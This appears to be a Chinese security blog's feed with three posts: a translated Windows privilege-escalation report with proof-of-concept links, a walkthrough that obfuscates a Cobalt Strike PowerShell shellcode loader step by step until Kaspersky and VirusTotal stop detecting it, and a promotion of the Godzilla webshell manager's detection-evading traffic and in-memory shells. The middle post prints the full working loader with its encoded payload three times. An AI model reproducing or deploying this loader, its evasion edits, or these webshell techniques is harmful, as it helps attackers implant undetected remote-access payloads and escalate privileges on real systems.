<pre><code class="language-text line-numbers">0316bbc2-92d9-4e2e-8345-3609c6b5c167 CloudExperienceHost Diagnostics Elevated Manager
06dc6740-fd0d-426a-9bf6-20ddbd7d53ce 
0b26fe8c-9e57-48ff-ad9f-3084ef402443 ProvOperationsCleanContext
1c308b42-b4b4-42ad-864c-48440c12b7a5
1ee026d0-f551-4c71-aea2-f9897b159eaf User OOBE Controller Auto Elevated
2134da04-4faa-42ed-ada2-43707b4e1de1 
2b2cad40-19c1-4794-b32d-397e41d5e8a7 User OOBE Controller
2c012f55-1318-44f4-a235-20c4df918fb3 Cloud Domain Join OS Upgrade Helper
3a965ed4-0e14-4a1b-a71e-972f1c1044f6 CloudExperienceHost Util Elevated Manager
40afa0b6-3b2f-4654-8c3f-161de85cf80e Connected User Store
4c1b3c1d-5c78-4a73-be8b-de1ec4b3637e 
54337179-c8b2-4ed4-95e4-95601c850d8c 
558c258c-90fe-401c-8772-7edca8016d2c 
6447e897-294b-409a-bf15-5f349a20f2c0 OOBE Registered Owner
80a90d72-a834-4f3d-ad3b-c7abbe4a0f66 OOBE User Authentication
973e4ce8-85a2-4207-8147-4778b50644db Azure AD Join with Authentic User Gesture
9a31d292-655f-48f7-b5ad-553358bcd0c9 
9caf4a2e-c957-48c7-b4d2-4d11188e0b94 OOBE Elevated Util
9dea6e0b-8856-45d8-a424-57244aef1e3c 
a3987437-f1b5-4296-a7dd-6cc3a8b738b9 
b742e827-ede6-400f-8312-cd522198be86 
d2b3db04-b843-11e7-abc4-cec278b6b50a 
d2d28389-85ee-4f9c-b45f-58bd9e664976 
df3460ae-d92d-40f3-b5cd-f83259936f23 
df436197-c14c-4f1d-99cc-4c7bbb399a2f 
e1f5aa5b-065c-4e29-b454-c1bbfe0819d2 Microsoft Account Credential Manager
efeb5035-1da0-4b73-afa2-68ed7a1d98e0 RetailInfoSetterInternal
f32fcfec-9054-470a-acee-867f2277b772 
fd5a78d9-c2f5-45ff-9097-c615acd0aa51 
</code></pre>
<p>我没有遍及整个列表，但有些突出的地方包括 <strong>Connected User Store</strong>，它使您可以将本地帐户链接到在线帐户。<strong>54337179-c8b2-4ed4-95e4-95601c850d8c</strong> 公开了本地帐户管理器类。</p>
<p>让我们集中讨论Local Account Manager类，它具有许多接口，但是最有趣的是ILocalAccountManager。 它具有以下功能：</p>
<ol>
<li>CreateAccount &#8211; 创建一个任意本地用户帐户。</li>
<li>CreateRetailDemoAccount &#8211; 创建零售演示模式的帐户。</li>
<li>UpdateRecoveryData &#8211; 更新帐户的恢复问题。</li>
</ol>
<p>出于说明目的，CreateRetailDemoAccount将使用空密码在Administrators组中创建一个新的用户帐户。 但是，应该将其用作设置零售演示模式的一部分，如果通过“设置”应用完成此操作，则需要管理员权限。 这是一个非常琐碎的EoP：</p>
<ol>
<li>启动计划任务。</li>
<li>创建COM服务器。</li>
<li>创建本地帐户管理器类。</li>
<li>调用CreateRetailDemoAccount创建管理员帐户。</li>
<li>以该用户身份登录以获得管理员权限。</li>
</ol>
<p>如果你可以交互式运行POC，你只需要注销重新登陆即可。如果没有用户交互，则这会有点困难，因为默认情况下您无法在没有密码的情况下进行身份验证，但是包括Connected User Store在内的其他一些类将暂时出于自身目的禁用空密码检查，因此可能存在可利用的竞争窗口，这些竞争窗口系统不执行检查，因此用户可以调用CreateProcessWithLogon创建进程，或通过LogonUser获取具有空密码的模拟令牌。</p>
<p>此任务的行为与我在2015年报告的先前错误（CVE-2015-2528）相似，该错误位于<code>Microsoft\Windows\Shell\CreateObjectTask</code>计划任务中。我不知道是否从那个问题中学到了什么教训。特别是，代理托管的COM类不一定设计为托管在普通用户可以访问的SYSTEM COM服务器中。 我认为将SYSTEM COM服务器隐藏在预定任务后面会产生后门的感觉。</p>
<p>毫无疑问应该修复INTERACTIVE组可以访问或激活系统COM服务器这点。实际上，我认为用户根本不应该甚至可以启动计划的任务。 我认为尝试并“修复”托管的COM类并不是一种彻底的解决方案。</p>
<h1>PoC证明</h1>
<p>我提供了C＃项目作为PoC。 它将创建一个管理员零售演示用户，该用户将成为管理员。 它不会再尝试使用该用户，但是您可以清楚地看到它已被添加。 如果您真的要测试它，则只需注销并以新用户身份重新登录。</p>
<p>1）编译C＃项目。<br />
2）以普通用户身份运行PoC。<br />
3）检查Administrators组的成员。</p>
<p>预期结果：<br />
无法访问SYSTEM COM服务器。</p>
<p>观察结果：<br />
已访问SYSTEM COM Server，并且创建了用户&#8221;Darrin DeYoung&#8221;，该用户是Administrators组的成员。</p>
<p>PoC下载：https://bugs.chromium.org/p/project-zero/issues/attachment?aid=449687&amp;signed_aid=Zh89DlsWY5cj_V-HXxphCQ==</p>
<h1>译者测试</h1>
<p>编译项目生成exe，测试系统版本 Win10 1909 18363.592</p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/296884d9-b47b-c536-5c1c-57e39bda6c6b.png" alt="image.png" /></p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/528f46a7-8a58-3f67-deaf-9b71435b76f5.png" alt="image.png" /></p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/548066ff-0b22-7e02-1ae7-b3eaa0eedc9b.png" alt="image.png" /></p>
<p>管理员用户名<strong>宋冬</strong> 密码为空</p>
<p>exe文件和源码 https://cloud.189.cn/t/zuyUNbrQZzqm（访问码：ilj5）</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cobalt Strike Powershell 过卡巴免杀上线</title>
		<link>/web/1845.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 27 Aug 2020 03:47:46 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[免杀]]></category>
		<guid isPermaLink="false">/?p=1845</guid>

					<description><![CDATA[Coablt Strike 4.0 生成ps1文件 直接被秒杀 查看ps1文件内容 Set-StrictMode -Version 2 $DoIt = @' function fu...]]></description>
										<content:encoded><![CDATA[<p>Coablt Strike 4.0<br />
<img src="https://y4er.com/img/uploads/20200827119267.png" alt="image.png" /></p>
<p>生成ps1文件</p>
<p>直接被秒杀<br />
<img src="https://y4er.com/img/uploads/20200827113865.png" alt="image.png" /></p>
<p>查看ps1文件内容</p>
<pre><code class="language-powershell line-numbers">Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckuzPCMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMYWdISCPSjo+ES2wU5Cgo213ELAxTtcW3jLu2wxoB6+UI1pFe5QtKWRU99qnU40ltkm4SJWul7EPpOTmEw8D9FoKGywVALdsr5/A64cQyI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxoNExgDdEpNR0xUUANtdwMVDRMYA3RsdBUXGAN3UUpHRk1XDBYNExgDTlBNA2xTV0pOSllGR2pmGxhmbXZwCi4pI0yC0OUolAOECPlYzqpBnQz7WW5QCeVDOUPi3jjqnNGtp39q5f+kjLoCc0ea2hQetsYnPTlO7F+Q2xLQoTQyuC6QkIc6jSOgRNCZUNmki6FueVN8TyaymGlWw0iU1mKbsd9yEZXVSd4LWWUzuNqocajn26otfu+C6wyuhUbBbU/zfNM17FzdXhsFmL/Dfed4HzTtP5Kjlvio07XFYjBMi4fls+sKijWkY6mssJu6hEaA5X4FcQmWHvqAQ8CKYv/wEJ15siNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhQRDRIVDRENGxsjMRd1Ww==')

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}
</code></pre>
<p>把FromBase64String改成FromBase65String就不杀了，那就解决掉FromBase64String，直接改成byte数组。</p>
<p><img src="https://y4er.com/img/uploads/20200827116879.png" alt="image.png" /></p>
<p>改完之后</p>
<pre><code class="language-powershell line-numbers">Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code =  [Byte[]](223,203,170,35,35,35,67,170,198,18,241,71,168,113,19,168,113,47,168,113,55,168,81,11,44,148,105,5,18,220,18,227,143,31,66,95,33,15,3,226,236,46,34,228,193,211,113,116,168,113,51,168,97,31,34,243,168,99,91,166,227,87,105,34,243,115,168,107,59,168,123,3,34,240,192,31,106,168,23,168,34,245,18,220,18,227,143,226,236,46,34,228,27,195,86,215,32,94,219,24,94,7,86,193,123,168,123,7,34,240,69,168,47,104,168,123,63,34,240,168,39,168,34,243,170,103,7,7,120,120,66,122,121,114,220,195,123,124,121,168,49,200,165,126,75,77,70,87,35,75,84,74,77,74,119,75,111,84,5,36,220,246,18,220,116,116,116,116,116,75,25,117,90,132,220,246,202,167,35,35,35,120,18,234,114,114,73,32,114,114,75,179,60,35,35,112,115,75,116,170,188,229,220,246,200,83,120,18,241,113,75,35,33,99,167,113,113,113,112,113,115,75,200,118,13,24,220,246,170,229,160,224,115,18,220,116,116,73,220,112,117,75,14,37,59,88,220,246,166,227,44,167,224,34,35,35,18,220,166,213,87,39,170,218,200,42,75,137,230,193,126,220,246,170,226,75,102,2,125,18,220,246,18,220,116,73,36,114,117,115,75,148,116,195,40,220,246,156,35,12,35,35,26,228,87,148,18,220,202,178,34,35,35,202,234,34,35,35,203,168,220,220,220,12,97,103,72,72,35,210,142,143,132,75,108,20,228,40,40,219,93,196,44,12,83,181,197,183,140,187,182,195,26,1,235,229,8,214,145,94,229,11,74,89,21,61,246,169,212,227,73,109,146,110,18,37,107,165,236,67,233,57,57,132,195,192,253,22,130,134,203,5,64,45,219,43,231,240,58,225,196,50,35,118,80,70,81,14,98,68,70,77,87,25,3,110,76,89,74,79,79,66,12,22,13,19,3,11,64,76,78,83,66,87,74,65,79,70,24,3,110,112,106,102,3,26,13,19,24,3,116,74,77,71,76,84,80,3,109,119,3,21,13,19,24,3,116,108,116,21,23,24,3,119,81,74,71,70,77,87,12,22,13,19,24,3,78,80,77,3,108,83,87,74,78,74,89,70,71,106,102,27,24,102,109,118,112,10,46,41,35,76,130,208,229,40,148,3,132,8,249,88,206,170,65,157,12,251,89,110,80,9,229,67,57,67,226,222,56,234,156,209,173,167,127,106,229,255,164,140,186,2,115,71,154,218,20,30,182,198,39,61,57,78,236,95,144,219,18,208,161,52,50,184,46,144,144,135,58,141,35,160,68,208,153,80,217,164,139,161,110,121,83,124,79,38,178,152,105,86,195,72,148,214,98,155,177,223,114,17,149,213,73,222,11,89,101,51,184,218,168,113,168,231,219,170,45,126,239,130,235,12,174,133,70,193,109,79,243,124,211,53,236,92,221,94,27,5,152,191,195,125,231,120,31,52,237,63,146,163,150,248,168,211,181,197,98,48,76,139,135,229,179,235,10,138,53,164,99,169,172,176,155,186,132,70,128,229,126,5,113,9,150,30,250,128,67,192,138,98,255,240,16,157,121,178,35,75,211,150,129,117,220,246,73,99,75,35,51,35,35,75,35,35,99,35,116,75,123,135,112,198,220,246,176,154,35,35,35,35,34,250,114,112,170,196,116,75,35,3,35,35,112,117,75,49,181,170,193,220,246,166,227,87,229,168,36,34,224,166,227,86,198,123,224,203,138,222,220,220,18,20,17,13,18,21,13,17,13,27,27,35,49,23,117,91)

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}
</code></pre>
<p>卡巴斯基没秒杀，放vt上看看</p>
<p>https://www.virustotal.com/gui/file/d73117a43cd10b5f8672b5440c9466d82d8df13a2d23f05171017ec442f8bacf/detection</p>
<p><img src="https://y4er.com/img/uploads/20200827111061.png" alt="image.png" /></p>
<p>看来还是有别的关键字，再改一改</p>
<pre><code class="language-powershell line-numbers">Set-StrictMode -Version 2

$DoIt = @'
function func_b {
    Param ($amodule, $aprocedure)       
    $aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.Uns'+'afeN'+'ativeMethods')
    $agpa = $aunsafe_native_methods.GetMethod('GetP'+'rocAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $agpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($amodule)))), $aprocedure))
}

function func_a {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $aparameters,
        [Parameter(Position = 1)] [Type] $areturn_type = [Void]
    )

    $atype_b = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Reflect'+'edDel'+'egate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDeleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $atype_b.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $aparameters).SetImplementationFlags('Runtime, Managed')
    $atype_b.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $areturn_type, $aparameters).SetImplementationFlags('Runtime, Managed')

    return $atype_b.CreateType()
}

[Byte[]]$acode =  [Byte[]](223,203,170,35,35,35,67,170,198,18,241,71,168,113,19,168,113,47,168,113,55,168,81,11,44,148,105,5,18,220,18,227,143,31,66,95,33,15,3,226,236,46,34,228,193,211,113,116,168,113,51,168,97,31,34,243,168,99,91,166,227,87,105,34,243,115,168,107,59,168,123,3,34,240,192,31,106,168,23,168,34,245,18,220,18,227,143,226,236,46,34,228,27,195,86,215,32,94,219,24,94,7,86,193,123,168,123,7,34,240,69,168,47,104,168,123,63,34,240,168,39,168,34,243,170,103,7,7,120,120,66,122,121,114,220,195,123,124,121,168,49,200,165,126,75,77,70,87,35,75,84,74,77,74,119,75,111,84,5,36,220,246,18,220,116,116,116,116,116,75,25,117,90,132,220,246,202,167,35,35,35,120,18,234,114,114,73,32,114,114,75,179,60,35,35,112,115,75,116,170,188,229,220,246,200,83,120,18,241,113,75,35,33,99,167,113,113,113,112,113,115,75,200,118,13,24,220,246,170,229,160,224,115,18,220,116,116,73,220,112,117,75,14,37,59,88,220,246,166,227,44,167,224,34,35,35,18,220,166,213,87,39,170,218,200,42,75,137,230,193,126,220,246,170,226,75,102,2,125,18,220,246,18,220,116,73,36,114,117,115,75,148,116,195,40,220,246,156,35,12,35,35,26,228,87,148,18,220,202,178,34,35,35,202,234,34,35,35,203,168,220,220,220,12,97,103,72,72,35,210,142,143,132,75,108,20,228,40,40,219,93,196,44,12,83,181,197,183,140,187,182,195,26,1,235,229,8,214,145,94,229,11,74,89,21,61,246,169,212,227,73,109,146,110,18,37,107,165,236,67,233,57,57,132,195,192,253,22,130,134,203,5,64,45,219,43,231,240,58,225,196,50,35,118,80,70,81,14,98,68,70,77,87,25,3,110,76,89,74,79,79,66,12,22,13,19,3,11,64,76,78,83,66,87,74,65,79,70,24,3,110,112,106,102,3,26,13,19,24,3,116,74,77,71,76,84,80,3,109,119,3,21,13,19,24,3,116,108,116,21,23,24,3,119,81,74,71,70,77,87,12,22,13,19,24,3,78,80,77,3,108,83,87,74,78,74,89,70,71,106,102,27,24,102,109,118,112,10,46,41,35,76,130,208,229,40,148,3,132,8,249,88,206,170,65,157,12,251,89,110,80,9,229,67,57,67,226,222,56,234,156,209,173,167,127,106,229,255,164,140,186,2,115,71,154,218,20,30,182,198,39,61,57,78,236,95,144,219,18,208,161,52,50,184,46,144,144,135,58,141,35,160,68,208,153,80,217,164,139,161,110,121,83,124,79,38,178,152,105,86,195,72,148,214,98,155,177,223,114,17,149,213,73,222,11,89,101,51,184,218,168,113,168,231,219,170,45,126,239,130,235,12,174,133,70,193,109,79,243,124,211,53,236,92,221,94,27,5,152,191,195,125,231,120,31,52,237,63,146,163,150,248,168,211,181,197,98,48,76,139,135,229,179,235,10,138,53,164,99,169,172,176,155,186,132,70,128,229,126,5,113,9,150,30,250,128,67,192,138,98,255,240,16,157,121,178,35,75,211,150,129,117,220,246,73,99,75,35,51,35,35,75,35,35,99,35,116,75,123,135,112,198,220,246,176,154,35,35,35,35,34,250,114,112,170,196,116,75,35,3,35,35,112,117,75,49,181,170,193,220,246,166,227,87,229,168,36,34,224,166,227,86,198,123,224,203,138,222,220,220,18,20,17,13,18,21,13,17,13,27,27,35,49,23,117,91)

for ($x = 0; $x -lt $acode.Count; $x++) {
    $acode[$x] = $acode[$x] -bxor 35
}

$ava = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_b kernel32.dll VirtualAlloc), (func_a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$abuffer = $ava.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $abuffer, $acode.length)

$arunme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($abuffer, (func_a @([IntPtr]) ([Void])))
$arunme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    i`ex $DoIt
}
</code></pre>
<p>https://www.virustotal.com/gui/file/4b907e0d3da03ee1c6c12541603cc2ac9849564e3358b706c1eb5fb0f94f1918/detection</p>
<p><img src="https://y4er.com/img/uploads/20200827115134.png" alt="image.png" /></p>
<p>ok了，也能正常上线</p>
<pre><code class="language-bash line-numbers">powershell -ExecutionPolicy bypass -File .\payload.ps1
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200827114184.png" alt="image.png" /></p>
<p>执行命令，卡巴斯基会拦截，argue污染以下就行了。<br />
<img src="https://y4er.com/img/uploads/20200827111122.png" alt="image.png" /></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>护网礼盒：哥斯拉Godzilla shell管理工具</title>
		<link>/web/1841.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 18 Aug 2020 04:04:51 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1841</guid>

					<description><![CDATA[护网期间，各大厂商的waf不断，在静态查杀、流量通信等方面对webshell进行拦截，众红队急需一款优秀的权限管理工具，冰蝎3.0的发布可能缓解了流量加密的困境，但是冰蝎3.0的b...]]></description>
										<content:encoded><![CDATA[<p>护网期间，各大厂商的waf不断，在静态查杀、流量通信等方面对webshell进行拦截，众红队急需一款优秀的权限管理工具，冰蝎3.0的发布可能缓解了流量加密的困境，但是冰蝎3.0的bug众多，很多朋友甚至连不上冰蝎的shell，于是<a class="wp-editor-md-post-content-link" href="https://github.com/BeichenDream">@BeichenDream</a>决定公开他所开发的一款shell权限管理工具，名为“哥斯拉”Godzilla。</p>
<h1>简单使用方法</h1>
<p>在哥斯拉安装之前，你需要安装jdk1.8的环境。双击Godzilla.jar打开，此时会在同目录下生成data.db数据库存放数据。首页长这样<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/5a75e3b1-9b6e-7b2d-9142-134785133157.png" alt="image.png" /></p>
<p>点击 <strong>管理</strong>&#8211;<strong>添加</strong> 生成所需的webshell，哥斯拉支持jsp、php、aspx等多种载荷，java和c#的载荷原生实现AES加密，PHP使用亦或加密。生成时需要记住自己的生成配置用以链接时用。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/faf55bfc-2a35-ceac-f53b-5421d84d46d8.png" alt="image.png" /></p>
<p>以java的jsp为例，填写密码和密钥，生成jsp/jspx。本文以tomcat7来演示一些功能。将shell.jsp放入tomcat使用哥斯拉链接。点击<strong>目标</strong>&#8211;<strong>添加</strong><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/c4535dc2-99e7-a10f-7c37-a77523a76292.png" alt="image.png" /></p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/a24a9033-0051-6f5d-2bbd-e4deaea40879.png" alt="image.png" /></p>
<p>选中shell右键选择<strong>进入</strong>即可进入shell管理界面。</p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/738d6235-b94f-54ee-c4db-3610a4a55ef5.png" alt="image.png" /></p>
<p>jsp/jspx的shell功能如图<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/30cbb4a2-b8b1-97a8-9736-2db1cb7010cc.png" alt="image.png" /></p>
<p>php的功能如图<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/290a3a5e-938b-0831-f124-1d7b0aaef31e.png" alt="image.png" /></p>
<p>aspx/ashx/asmx的功能如图<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/50bf8e9b-bd2b-4323-c458-d0d8a89ff6c6.png" alt="image.png" /></p>
<p>简单使用介绍就到这里。</p>
<h1>一些特性</h1>
<p>为什么我放着冰蝎、蚁剑还有什么天蝎不用而要用你的哥斯拉？</p>
<ol>
<li>哥斯拉全部类型的shell均过市面所有静态查杀</li>
<li>哥斯拉流量加密过市面全部流量waf</li>
<li>哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的</li>
</ol>
<p>静态免杀就不说了，工具放出来之后可能会免杀一段时间就不行了，当然随便改改就能继续过。重点是看流量加密和一些自带的插件。</p>
<h2>流量加密</h2>
<p>先来看流量加密，仍然以jsp为例，修改链接配置里的代理选项为http代理，让流量代理到Burp中。</p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/201b779e-4338-a3f8-0913-78efef463053.png" alt="image.png" /></p>
<p>执行dir命令的请求包</p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/cc98b84b-3cf8-5b03-c9db-be44cad36359.png" alt="image.png" /></p>
<p>响应包<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/f4e61e16-844d-4bc7-2bf0-420adcb8e510.png" alt="image.png" /></p>
<p>或许你说headers里的一些ua和Accept太扎眼了，别担心，这些可以自己配置。在shell编辑的请求配置中修改<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/b1f59da3-2ba1-611f-473a-da2b6eaa1a44.png" alt="image.png" /></p>
<p>或者在<strong>配置</strong>&#8211;<strong>全局配置</strong>中修改<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/0072cc13-7f64-1096-73bb-e27935e1b982.png" alt="image.png" /></p>
<p>此时在看请求包和响应包完全没有特征<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/7e0678ce-9d64-846e-705c-73444f816e26.png" alt="image.png" /></p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/b9f9c4d7-eb24-62b4-a93c-e0ef635ca9fb.png" alt="image.png" /></p>
<p>并且在请求包的thisisleftData和thisisrightData可以修改为其他杂乱数据来进行干扰。到这里还不说一句<strong>哥斯拉天下第一</strong>？</p>
<h2>插件模块</h2>
<p>一些基本的模块比如：基本信息、文件管理、命令执行我这里就不再赘述了。</p>
<h3>数据库管理</h3>
<p>相信大家在使用蚁剑的时候没少碰到过连不上数据库的情况，我自己碰到过一个环境就是shell所在的tomcat container没有jdbc的jar包依赖导致连不上数据库，偏偏蚁剑没什么好办法。而在哥斯拉中就不必担心这个问题，在数据库管理中哥斯拉会先从容器中加载可用的jdbc，如果没有就通过内存加载jar驱动来链接数据库。</p>
<h3>内存shell</h3>
<p>内存shell模块实现了在tomcat中注册、卸载内存马</p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/078c3363-484d-6275-ab96-3735bfa7e193.png" alt="image.png" /></p>
<p>你可以直接注册一个哥斯拉的马或者冰蝎、菜刀的马，甚至是regeorg。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/9b119c1b-bb33-63ae-1118-8f92bae5feda.png" alt="image.png" /></p>
<p>比如注册一个/Godzillashell进去<br />
